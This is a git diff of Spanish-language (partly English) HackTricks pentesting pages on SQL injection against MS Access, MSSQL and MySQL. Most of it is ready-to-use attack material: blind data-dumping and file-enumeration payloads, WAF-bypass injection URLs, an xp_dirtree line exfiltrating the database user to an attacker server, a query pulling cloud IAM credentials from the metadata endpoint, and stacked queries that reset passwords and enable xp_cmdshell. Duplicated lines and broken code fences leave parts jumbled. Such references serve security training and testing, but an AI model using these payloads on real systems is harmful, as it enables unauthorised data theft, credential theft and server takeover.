* Hay otra lista en [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Fuerza bruta de nombres de columnas
### Fuerza Bruta de Nombres de Columnas
Puedes **forzar por fuerza bruta los nombres de las columnas actuales** con el truco de encadenamiento de iguales con:
Puedes **forzar los nombres de columnas actuales** con el truco de encadenar iguales con:
```sql
'=column_name='
```
@ -136,36 +101,36 @@ O con un **group by**:
```sql
-1' GROUP BY column_name%00
```
O puedes realizar un ataque de fuerza bruta en los nombres de las columnas de una **tabla diferente** con:
O puedes forzar los nombres de columna de una **tabla diferente** con:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Volcado de datos
### Dumping data
Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para volcar datos de las tablas actuales y otras**. Pero hay otras formas:
Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para volcar datos de la tabla actual y otras tablas**. Pero hay otras maneras:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
En resumen, la consulta utiliza una declaración "si-entonces" para desencadenar un "200 OK" en caso de éxito o un "500 Internal Error" de lo contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. En ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Cambiando adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
En resumen, la consulta utiliza una declaración "if-then" para activar un "200 OK" en caso de éxito o un "500 Internal Error" en caso contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. Con ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Al cambiar adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
### Basado en Tiempo
### Time Based
Consulte [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
Consulta [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Otras funciones interesantes
* `Mid('admin',1,1)` obtener subcadena desde la posición 1 longitud 1 (la posición inicial es 1)
* `LEN('1234')` obtener longitud de cadena
* `ASC('A')` obtener el valor ASCII de un carácter
* `CHR(65)` obtener cadena a partir del valor ASCII
* `Mid('admin',1,1)` obtiene la subcadena desde la posición 1 de longitud 1 (la posición inicial es 1)
* `LEN('1234')` obtiene la longitud de la cadena
* `ASC('A')` obtiene el valor ascii del carácter
* `CHR(65)` obtiene la cadena del valor ascii
* `IIF(1=1,'a','b')` si entonces
* `COUNT(*)` Contar número de elementos
* `COUNT(*)` cuenta el número de elementos
## Enumeración de tablas
## Enumerando tablas
Desde [**aquí**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puedes ver una consulta para obtener nombres de tablas:
Desde [**aquí**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puedes ver una consulta para obtener los nombres de las tablas:
```sql
select MSysObjects.name
from MSysObjects
@ -175,40 +140,55 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Sin embargo, ten en cuenta que es muy típico encontrar Inyecciones SQL donde **no tienes acceso para leer la tabla `MSysObjects`**.
Sin embargo, ten en cuenta que es muy típico encontrar inyecciones SQL donde **no tienes acceso para leer la tabla `MSysObjects`**.
## Acceso al Sistema de Archivos
## Acceso al sistema de archivos
### Ruta Completa del Directorio Raíz Web
### Ruta completa del directorio raíz web
El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques adicionales**. Si los errores de la aplicación no están completamente ocultos, la ruta del directorio puede ser descubierta intentando seleccionar datos de una base de datos inexistente.
El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, se puede descubrir la ruta del directorio intentando seleccionar datos de una base de datos inexistente.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access responde con un **mensaje de error que contiene la ruta completa del directorio web**.
### Enumeración de Archivos
### Enumeración de archivos
El siguiente vector de ataque se puede utilizar para **inferir la existencia de un archivo en el sistema de archivos remoto**. Si el archivo especificado existe, MS Access desencadena un mensaje de error informando que el formato de la base de datos es inválido:
El siguiente vector de ataque se puede utilizar para **inferir la existencia de un archivo en el sistema de archivos remoto**. Si el archivo especificado existe, MS Access genera un mensaje de error informando que el formato de la base de datos es inválido:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Otra forma de enumerar archivos consiste en **especificar un elemento de base de datos.tabla**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**.
Otra forma de enumerar archivos consiste en **especificar un elemento database.table**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Adivinanza del Nombre del Archivo .mdb
### Adivinanza del nombre del archivo .mdb
El **nombre del archivo de la base de datos (.mdb)** se puede inferir con la siguiente consulta:
El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguiente consulta:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre desencadenará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.
Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre generará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.
### Descifrador de Contraseñas .mdb
### Cracker de contraseñas .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
## Referencias
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# Inyección MSSQL
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
## Enumeración de Active Directory
Puede ser posible **enumerar usuarios de dominio a través de una inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones MSSQL:
Puede ser posible **enumerar usuarios de dominio a través de inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones MSSQL:
* **`SELECT DEFAULT_DOMAIN()`**: Obtener el nombre de dominio actual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrador'))`**: Si conoces el nombre del dominio (_DOMINIO_ en este ejemplo) esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
* **`SELECT DEFAULT_DOMAIN()`**: Obtener el nombre del dominio actual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si conoces el nombre del dominio (_DOMAIN_ en este ejemplo) esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (usualmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer fuerza bruta en los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer un ataque de fuerza bruta a los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, usando una función como la siguiente:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -29,9 +30,9 @@ user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Vectores de Error Alternativos**
## **Vectores Alternativos Basados en Errores**
Las inyecciones SQL basadas en errores suelen tener construcciones como `+AND+1=@@version--` y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones suelen ser bloqueadas por los WAFs. Para evitar esto, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenen un error de conversión de tipo de datos en los datos buscados.
Las inyecciones SQL basadas en errores típicamente se asemejan a construcciones como `+AND+1=@@version--` y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones suelen ser bloqueadas por los WAF. Como una forma de eludir esto, concatena una cadena usando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenan un error de conversión de tipo de datos en los datos deseados.
Algunos ejemplos de tales funciones:
@ -97,33 +98,33 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Procedimientos almacenados como `xp_dirtree`, aunque no están documentados oficialmente por Microsoft, han sido descritos por otros en línea debido a su utilidad en operaciones de red dentro de MSSQL. Estos procedimientos suelen ser utilizados en la exfiltración de datos fuera de banda, como se muestra en varios [ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) y [publicaciones](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Los procedimientos almacenados como `xp_dirtree`, aunque no están documentados oficialmente por Microsoft, han sido descritos por otros en línea debido a su utilidad en operaciones de red dentro de MSSQL. Estos procedimientos se utilizan a menudo en la exfiltración de datos fuera de banda, como se muestra en varios [ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) y [publicaciones](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
El procedimiento almacenado `xp_dirtree`, por ejemplo, se utiliza para realizar solicitudes de red, pero está limitado solo al puerto TCP 445. El número de puerto no es modificable, pero permite la lectura desde recursos compartidos de red. El uso se demuestra en el script SQL a continuación:
El procedimiento almacenado `xp_dirtree`, por ejemplo, se utiliza para realizar solicitudes de red, pero está limitado solo al puerto TCP 445. El número de puerto no es modificable, pero permite leer desde recursos compartidos en la red. El uso se demuestra en el script SQL a continuación:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Es importante tener en cuenta que este método puede no funcionar en todas las configuraciones del sistema, como en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` en un `Windows Server 2016 Datacenter` con la configuración predeterminada.
Es notable que este método puede no funcionar en todas las configuraciones del sistema, como en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` ejecutándose en un `Windows Server 2016 Datacenter` con configuraciones predeterminadas.
Además, existen procedimientos almacenados alternativos como `master..xp_fileexist` y `xp_subdirs` que pueden lograr resultados similares. Más detalles sobre `xp_fileexist` se pueden encontrar en este [artículo de TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
Además, hay procedimientos almacenados alternativos como `master..xp_fileexist` y `xp_subdirs` que pueden lograr resultados similares. Más detalles sobre `xp_fileexist` se pueden encontrar en este [artículo de TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviamente, también se podría utilizar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para obtener más información, **lea la sección relevante** en la página:
Obviamente, también podrías usar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para más información **lee la sección relevante** en la página:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### Función Definida por el Usuario MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Crear una UDF CLR (Función Definida por el Usuario de Tiempo de Ejecución de Lenguaje Común), que es código creado en cualquier lenguaje .NET y compilado en un DLL, para ser cargado en MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente solo es factible cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
Crear una UDF CLR (Función Definida por el Usuario en el Tiempo de Ejecución de Lenguaje Común), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
Un proyecto de Visual Studio e instrucciones de instalación se proporcionan en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como un ensamblado CLR, lo que permite la ejecución de solicitudes HTTP GET desde MSSQL.
Se proporciona un proyecto de Visual Studio e instrucciones de instalación en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como una asamblea CLR, permitiendo así la ejecución de solicitudes HTTP GET desde dentro de MSSQL.
El núcleo de esta funcionalidad está encapsulado en el archivo `http.cs`, que utiliza la clase `WebClient` para ejecutar una solicitud GET y recuperar contenido como se ilustra a continuación:
El núcleo de esta funcionalidad está encapsulado en el archivo `http.cs`, que emplea la clase `WebClient` para ejecutar una solicitud GET y recuperar contenido como se ilustra a continuación:
```csharp
using System.Data.SqlTypes;
using System.Net;
@ -139,29 +140,29 @@ return new SqlString(html);
}
}
```
Antes de ejecutar el comando SQL `CREATE ASSEMBLY`, se recomienda ejecutar el siguiente fragmento de SQL para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables del servidor (visible a través de `select * from sys.trusted_assemblies;`):
Antes de ejecutar el comando SQL `CREATE ASSEMBLY`, se recomienda ejecutar el siguiente fragmento SQL para agregar el hash SHA512 de la asamblea a la lista de asambleas de confianza del servidor (visible a través de `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Después de agregar con éxito la assembly y crear la función, el siguiente código SQL se puede utilizar para realizar solicitudes HTTP:
Después de agregar la asamblea con éxito y crear la función, se puede utilizar el siguiente código SQL para realizar solicitudes HTTP:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Explotación Rápida: Recuperación de Todo el Contenido de una Tabla en una Sola Consulta**
### **Explotación Rápida: Recuperando Todo el Contenido de una Tabla en una Sola Consulta**
[Truco de aquí](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
Un método conciso para extraer todo el contenido de una tabla en una sola consulta implica utilizar la cláusula `FOR JSON`. Este enfoque es más conciso que usar la cláusula `FOR XML`, que requiere un modo específico como "raw". La cláusula `FOR JSON` es preferida por su brevedad.
Un método conciso para extraer el contenido completo de una tabla en una sola consulta implica utilizar la cláusula `FOR JSON`. Este enfoque es más sucinto que usar la cláusula `FOR XML`, que requiere un modo específico como "raw". La cláusula `FOR JSON` es preferida por su brevedad.
Así es como se puede recuperar el esquema, las tablas y las columnas de la base de datos actual:
Aquí se explica cómo recuperar el esquema, las tablas y las columnas de la base de datos actual:
```sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
https://vuln.app/getItem?id=1'+y+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
### Retrieving the Current Query
@ -171,19 +172,15 @@ https://vuln.app/getItem?id=1'+y+1=(select+concat_ws(0x3a,table_schema,table_nam
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
```
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```
## **Little tricks for WAF bypasses**
@ -193,23 +190,17 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Non-standard whitespace characters: %C2%85 или %C2%A0:
```
### MSSQL Injection
#### Inyección MSSQL
El siguiente es un ejemplo de una inyección MSSQL en una URL:
`https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--`
```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
- **Inyección MSSQL de Union-Based**
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
- URL vulnerable: `https://vuln.app/getItem?id=0eunion+select+null,@@version,null--`
- URL vulnerable: `https://vuln.app/getItem?id=0xunion+select+null,@@version,null--`
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
A period instead of a whitespace between FROM and a column name:
@ -221,59 +212,43 @@ https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
```
### MSSQL Injection
#### Inyección MSSQL
El siguiente es un ejemplo de una inyección MSSQL en una URL:
`https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--`
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
```sql
SELECT 'a' SELECT 'b'
```
```sql
SELECT 'a' SELECT 'b'
```
```
So for example, multiple queries such as:
```sql
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
```
Can be reduced to:
```sql
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Agregando un exec() inútil al final y haciendo que el WAF piense que esto no es una consulta válida
# Agregando un exec() inútil al final y haciendo que el WAF piense que esta no es una consulta válida
admina'union select 1,'admin','testtest123'exec('select 1')--
## Esto será:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Utilizando consultas construidas de manera extraña
# Usando consultas construidas de manera extraña
admin'exec('update[users]set[password]=''a''')--
## Esto será:
SELECT id, username, password FROM users WHERE username = 'admin'
@ -292,16 +267,17 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# MySQL File priv to SSRF/RCE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Este es un resumen de las técnicas de MySQL/MariaDB/Percona de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
### Falsificación de Petición de Servidor (SSRF) mediante Funciones SQL
### Server-Side Request Forgery (SSRF) a través de funciones SQL
En la exploración de la exfiltración de datos SQL Out of Band, la función `LOAD_FILE()` se emplea comúnmente para iniciar solicitudes de red. Sin embargo, esta función está limitada por el sistema operativo en el que opera y las configuraciones de inicio de la base de datos.
La variable global `secure_file_priv`, si no está configurada, se establece por defecto en `/var/lib/mysql-files/`, limitando el acceso a archivos a este directorio a menos que se establezca en una cadena vacía (`""`). Este ajuste requiere modificaciones en el archivo de configuración de la base de datos o en los parámetros de inicio.
La variable global `secure_file_priv`, si no está configurada, por defecto es `/var/lib/mysql-files/`, limitando el acceso a archivos a este directorio a menos que se establezca como una cadena vacía (`""`). Este ajuste requiere modificaciones en el archivo de configuración de la base de datos o en los parámetros de inicio.
Dado que `secure_file_priv` está deshabilitado (`""`), y asumiendo que se otorgan los permisos necesarios para los archivos y `file_priv`, se pueden leer archivos fuera del directorio designado. Sin embargo, la capacidad de estas funciones para realizar llamadas de red depende en gran medida del sistema operativo. En sistemas Windows, las llamadas de red a rutas UNC son factibles debido a la comprensión de las convenciones de nomenclatura UNC por parte del sistema operativo, lo que potencialmente lleva a la exfiltración de hashes NTLMv2.
